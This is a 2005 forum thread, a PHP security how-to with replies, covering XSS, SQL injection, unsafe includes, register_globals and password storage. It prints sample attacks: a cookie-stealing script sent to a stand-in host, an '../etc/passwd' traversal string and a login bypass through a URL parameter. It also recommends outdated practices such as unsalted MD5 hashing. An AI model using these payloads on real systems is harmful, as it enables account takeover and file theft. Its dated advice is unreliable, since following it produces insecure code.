[How-To] PHP Security

Soldato
Joined
26 Dec 2003
Posts
16,522
Location
London
Last updated: 16th February 2005, 18:38

Overview

It seems like almost every thread posted here with a PHP example in it is vulnerable to some sort of attack, be it XSS, SQL injection or something else. So, instead of having to post stuff like this in every thread like that, I figured it'd be best to just post one brief guide on how to protect your sites from attack. I'm just trying to cover the basics; if you use the methods outlined here, your scripts could still be vulnerable to some form of attack, so be warned :)

Different Types of Attack

XSS
XSS stands for "Cross Site Scripting", and refers to the act of inserting content, such as Javascript, into a page. Usually these attacks are used to steal cookies which often contain sensitive data such as login information.

An example of a script vulnerable to XSS is this simple script to fetch a news item based on its ID:

Code:
<?php

$id = $_GET['id'];

echo 'Displaying news item number '.$id;

/* snip */
?>

Now, if $_GET['id'] contains a number, then all's well and good - but what happens if it contains this?

Code:
<script>
window.location.href = "http://evildomain.com/cookie-stealer.php?c=' + document.cookie;
</script>

If a user passed this simple Javascript into the $_GET['id'] variable and convinced a user to click it, then the script would be executed and pass the user's cookie data onto the attacker, allowing them to log in as the user. It's really that simple.

How can I prevent XSS attacks?
Firstly, you must never implicitly trust user input. Always presume that every bit of input contains an attack, and code to account for that. To do this, you need to filter user input, removing it of HTML tags so that no Javascript can be run. The easiest way to do this is with PHP's built in strip_tags() function, which will remove HTML from a string rendering it harmless. If you just want to make the HTML safe without removing it altogether, like this forum does, then you need to run the input through htmlentities(), which will convert < and > to &lt; and &gt; respectively.


SQL Injection
Many sites (such as these forums) use databases as a backend to store their data, using queries to insert and select data from it. SQL injection is when malformed user input is used directly in an SQL query, which can result in the attacker changing the query. This means that an attacker could delete portions of your database, make himself an admin account etc - the possibilities are endless.

Take this example:

Code:
<?php

$message = $_POST['message'];

$result = mysql_query('
INSERT INTO guestbook
(mesage, added)
VALUES("'.$message.'", NOW())
');

?>

Look ok? It takes the message the user submitted, and adds it to the guestbook table, simple enough.

Now, this is vulnerable to both an SQL injection attack and an XSS attack; if the user chose to insert malicious HTML into their message, then that would be added and later printed out from the database; if the user submitted an injection attack in his message, then they could alter the query to whatever they liked.

How can I prevent SQL injection attacks?
Just like with XSS attacks, you must never trust user data. If the data is ever going to be printed to a page, which it more than likely will be, then run it through strip_tags(). Secondly, you must always run user input through mysql_real_escape_string() before using it in a database query. This will negate any malicious characters in the query, making the data safe to use. If you're using a number in your query, then you should use intval() on the inputted number.

Including Files
Never, ever include files based on user input without thoroughly checking them first. One of the major culprits of this is the ubiquitous index.php?page=something.php script that so many people love to use:

Code:
<html>
<head>
<title>foo</title>
</head>
<body>
<?php
include($_GET['page']);
?>
</body>
</html>

This can be used to include a file without having to put the same stuff at the header and footer of it, which is pretty useful. However, there's a big flaw to it; it allows the user to specify the filename to be included, which means that they could open any file readable by the server process and steal sensitive data such as database passwords from config files, etc.

You can prevent this in one of two ways. If you only have a few pages, you can make a white-list of pages that are allowed, like so:

Code:
<?php

switch($_GET['page']) {
    case "about":
        include('about.php');
        break;
    case "news":
        include('news.php');
        break;
    default:
        include('home.php');
        break;
}

?>

Another method would be to simply exclude non-word characters from the script, and including an extension; this would allow for the dynamic adding of pages, but would also mean that any files with a matching extension in the current directory and its subdirectories could be opened, so be careful that there aren't any sensitive files in them.

Code:
<?php

$page = preg_replace('/\W/si', '', $_GET['page']);

include($page.'.php');

?>

Another related point is the naming of included files. Many scripts store their settings in external files to make it easy for end-users to change them. If you're working on a script that does this, be sure to name your included files with an extension that isn't displayed as plain text. Many scripts use ".inc", which by default is displayed as a regular text file in most web servers. This could give users access to sensitive information such as database details and user info. The best option is to name the files with an extension of PHP; that way, if a user requests the files, they'll simply be greeted with a blank page.

If you're using Apache, and using a script that insists on using INC files, then you can use this setting to disallow direct access to .inc files:

Code:
<Files ~ "\.inc$">
Order allow,deny
Deny from all
</Files>

This should be placed in an .htaccess file in your top-level directory.

eval()
eval() is a useful but very dangerous function that allows you to execute a string as PHP code. There aren't many occasions where this is neccessary, and being realistic you should avoid its usage, especially if you want to use user input in the string.

Register Globals
register_globals is a PHP setting that automatically takes data from the superglobal arrays ($_GET, $_POST, $_SERVER, $_COOKIE, $_REQUEST and $_FILE) and assigns them to global variables, so $_POST['message'] would automatically be assigned to $message. This setting is automatically disabled with new installations of PHP, and with good reason. Take this example:

Code:
if($_POST['username'] == 'rob' && $_POST['password'] == 'foo') {
    $authenticated = true;
}

if($authenticated) {
    // do some admin thing
}

Now, with register_globals turned off, this script works as intended; $authenticated is only set if the user has entered the correct password. However, with register_globals turned on, a malicious user could run the script as

script.php?authenticated=true

and he would automatically be granted admin rights.

There's not a whole lot you can do about this setting if you're using shared hosting, but you can code your scripts so that they aren't affected by any malicious exploitation of register_globals.

Magic Quotes
Magic Quotes were an attempt by the PHP developers to add some default security into PHP; when magic_quotes are on, all ' (single-quote), " (double quote), \ (backslash) and NULL's are escaped with a backslash automatically. Note that this is NOT the same as mysql_real_escape_string(), and by turning it on you do NOT prevent SQL injection attacks. Another problem with magic quotes is that they pose a portability nightmare, in that some hosts have it turned on and others don't; if you're writing a script that's going to be used on multiple systems, you need to check whether magic quotes is turned on and act appropriately. One easy method is this:

Code:
function add_magic_quotes($array) {
    foreach ($array as $k => $v) {
        if (is_array($v)) {
            $array[$k] = add_magic_quotes($v);
        } else {
            $array[$k] = addslashes($v);
        }
    }
    return $array;
}
if (!get_magic_quotes_gpc()) {
    $_GET    = add_magic_quotes($_GET);
    $_POST   = add_magic_quotes($_POST);
    $_COOKIE = add_magic_quotes($_COOKIE);
}

which will make sure that quotes are always added regardless of the magic_quotes_gpc setting.

Error Reporting
If you have error reporting turned on fully, important information can be displayed in the event of an error - even a relatively minor one. PHP provides a function called error_reporting() that allows you to change the level of error reporting on a per-script basis.

Whilst in development, you should set this to display all errors, like so:
Code:
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);

However, when you put your site into production, this can be dangerous. For safety's sake, you should disable the displaying of errors and instead log them to a file safely outside of your directory root; this way, the public can't see if anything goes wrong, but you can. Here's a simple bit of code that will accomplish this:

Code:
error_reporting(E_ALL^E_NOTICE); // This is a 'sensible' reporting level
ini_set('display_errors', 0); // Hide all error messages from  the public
ini_set('log_errors', 1);
ini_set('error_log', 'path/to_your/log.txt'); // Preferably a location outside of your web root

Be sure to edit the path to the error log so that it's a correct path and one that is writeable by the server process.

Another important thing that people sometimes miss is mySQL error reporting. A useful tip for development is to print error reports when a query fails so you can see what went wrong, like so:

Code:
mysql_query('
SELECT *
FROM table_that_doesnt_exist
') or die(mysql_error());

During development, this is great - it allows you to see quickly that the table doesn't exist, and that's why it's breaking. However, you should never leave this on in a production environment; if there happens to be an error, you should log the error appropriately and give a generic error message to the user if it's critical. If you don't, an attacker can find out important information about your database schema and even some login information.

Plain Text Passwords
When storing passwords, it's important never to store them in plain text. Applying a simple hashing method such as MD5 to the passwords in the database will suffice. To compare the inputted password with the one in the database, one must run the input through MD5 and then compare the two strings; if the passwords are the same, their MD5'd values will be the same also. This way, even if an attacker gains access to your database somehow, they'll never be able to know your users' passwords as MD5 is a one-way "encryption". A quick example of a safe way to do things:

Code:
$user_name = mysql_real_escape_string($_POST['username']);
$user_password = md5($_POST['password']);

$result = mysql_query('
SELECT COUNT(*) AS count
FROM users
WHERE user_name = "'.$user_name.'"
AND user_password = "'.$user_password.'"
');

$row = mysql_fetch_assoc($result);

if($row['count'] > 0) {
    // Password is okay.
}

Conclusion
Hopefully this has made you a little more aware of the dangers that can face you when writing PHP scripts, and hopefully you've understood what I've tried to say. Remember: never trust user input, and always filter it before use, and you should be fine and dandy.

If you've any comments, questions, suggestions, additions, subtractions or multiplications, feel free to post them and I'll do my best to sort them out :)
 
Soldato
OP
Joined
26 Dec 2003
Posts
16,522
Location
London
kiwi said:
i've got a few more ideas if you can be arsed to write anything about them:

Never include, require, or otherwise open a file with a filename based on user input, without thoroughly checking it first.

Be careful with eval()

Be careful when using register_globals = ON

Never run unescaped queries

For protected areas, use sessions or validate the login every time

If you don't want the file contents to be seen, give the file a .php extension

edit: we could also do with some of the basic php scripts, the same questions get asked a lot
You cheated :p

All good points, I'll do a little write up at the bottom in a second.
 
Soldato
OP
Joined
26 Dec 2003
Posts
16,522
Location
London
Ben said:
Might also want to mention that magic_quotes_gpc is usually turned on by hosts to protect themselves from incompetent scripters, not to allow people to be lazy and not check user input.
Indeed, I'll put something about get_magic_quotes_gpc() in there too.
 
Soldato
OP
Joined
26 Dec 2003
Posts
16,522
Location
London
Sin_Chase said:
Some good points.

Regarding SQL injection (as commeneted on the php manual) for user/password checks using md5 for comparison is sufficient escaping as any injection attempts on it will be converted into a md5 hash and be complete garbage.

Im going to have to review my SQL code with some mysql_real_escape_string protection.


Indeed, and intval()'ing any numbers will too :)
 
Soldato
OP
Joined
26 Dec 2003
Posts
16,522
Location
London
It's not the same as addslashes(), though, since it escapes some mySQL-specific stuff that addslashes() doesn't. mysql_real_escape_string() is different from mysql_escape_string() in that it pays attention to the character set of the database connection.
 
Soldato
OP
Joined
26 Dec 2003
Posts
16,522
Location
London
Inquisitor said:
So do I just do mysql_real_escape_string ($_POST['query'])
They make it look a lot more complicated on php.net :o


All the ones on the man page do is stripslashes if magic quotes is on - this is so that you don't end up with this:

Input: Hello "Gentlemen"; how are 'you'?
Magic Quotes: Hello \"Gentlemen\"; how are \'you\'?
mySQL Escaped: Hello \\"Gentlemen\\"; how are \\'you\\'?

:)
 
Soldato
OP
Joined
26 Dec 2003
Posts
16,522
Location
London
Inquisitor said:
That's what I though, but some websites will simply email you your password if you forget it, I assume that would use symmetric encyption like mcrypt? Is that ok to use for encrypting passwords?


No, it defeats the entire object of hashing them. If you can decode them with a simple PHP function, so can any attacker and then it becomes worthless.
 
Soldato
OP
Joined
26 Dec 2003
Posts
16,522
Location
London
Inquisitor said:
So how do these websites send the password back via email, assuming they storing them securely? (I would have thought they were, as they're quite large websites)


Well they can't have hashed it, so they must store it in some form of reversible encryption, which means that an attacker could get everbody's passwords if they managed to get access to the database. It doesn't seem to serious, but if you think that almost everyone uses the same password for most of their sites then it's pretty serious.
 
Soldato
OP
Joined
26 Dec 2003
Posts
16,522
Location
London
kiwi said:
could they not write their own encyption? for example a simple ROT-13 would leave the password unreadable if database access was gained. obviously, they would use a cyper that's a little harder to break :p


If they used base64 it'd be even more unreadable, but just as easy to "crack".
 
Soldato
OP
Joined
26 Dec 2003
Posts
16,522
Location
London
If people insist on using the oh-so inferior ?page=* method, then here's a script that isn't like a colander.

Code:
<?php

// Name your content files with this extension,
// and pass the page without the extension
// Example: content in page1.inc.php, url will be
// thisfile.php?page=page1
$extension = '.inc.php';

// Strip HTML
$page = strip_tags($_GET['page']);
// Strip double full stops to stop people navigating outside the current directory
$page = str_replace('..', '', $page);
// Strip any characters that aren't word characters, -, _ or . for a number of reasons
$page = preg_replace('|[^\w-_\.]|', '', $page);

if(file_exists(dirname(__FILE__).'/'.$page.$extension)) {
	
	include $page.$extension;
	
} else {
	
	include 'default'.$extension;
	
}

?>
 
Soldato
OP
Joined
26 Dec 2003
Posts
16,522
Location
London
Craig321 said:
robmiller:
That doesn't do a includes thing to show a page on the index file itself does it?
Anyways, that script I gave doesn't allow people to navigate outside the directory ;)


Yes, yes it does.

Your script doesn't have any error checking, relies on register_globals being on and does allow people to go out of the directory. Accessing "/etc/../usr/bin" is just the same as accessing "/usr/bin".
 
Soldato
OP
Joined
26 Dec 2003
Posts
16,522
Location
London
clogiccraigm said:
Is phpInfo(); dangerous?


It's not dangerous per se, but it's a good idea to keep info pages hidden, just in case they reveal server versions and whatnot which could be clues as to what the server is vulnerable to etc :)
 
Soldato
OP
Joined
26 Dec 2003
Posts
16,522
Location
London
Craig321 said:
Rob, please can you email me an example of how they could get out of the directory
Not here cause someone might wanna use it :(
Thanks.
(Email in trust)


index.php?page=../../../../etc/passwd

Would display all your server's usernames and information, for example (if you're on Linux, that is). If you're on Windows, I'm sure you could do some other crazy things.

You're also vulnerable to, like Ben said, the infinite including of itself by passing it a relative path of itself - if "pages" is a subdirectory of the directory index.php is in, then you just need to go to index.php?page=../index.
 
Soldato
OP
Joined
26 Dec 2003
Posts
16,522
Location
London
Tetsujin said:
if i may be so bold...

best way i've found for handling the old '?page=blah' issue, is to store pages in database. so ?page=3 will go off and pull the record id=3 from a 'pages' table in the database to get the filename (or maybe the content directly). naturally some integer checking+casting on the $page input too.


But that still doesn't tackle the old search engine chesnut, which is where some mod_rewrite craftiness comes in handy. Even if you have to use the query string, then an ID isn't the best choice - what's it showing? The ID of what? It'd be much better to put a snippet of the title in the variable so there's at least something descriptive in the URL.
 
Soldato
OP
Joined
26 Dec 2003
Posts
16,522
Location
London
Inquisitor said:
Well it means that only the pages that you want to be opened can actually be opened, so that eliminates a lot of security risks from the equation :)


But it's a load of work that you have no need to do, since you can eliminate all of the flaws by doing the inverse, and including the header and the footer on each of the pages, or using a templating system.
 
Back
Top Bottom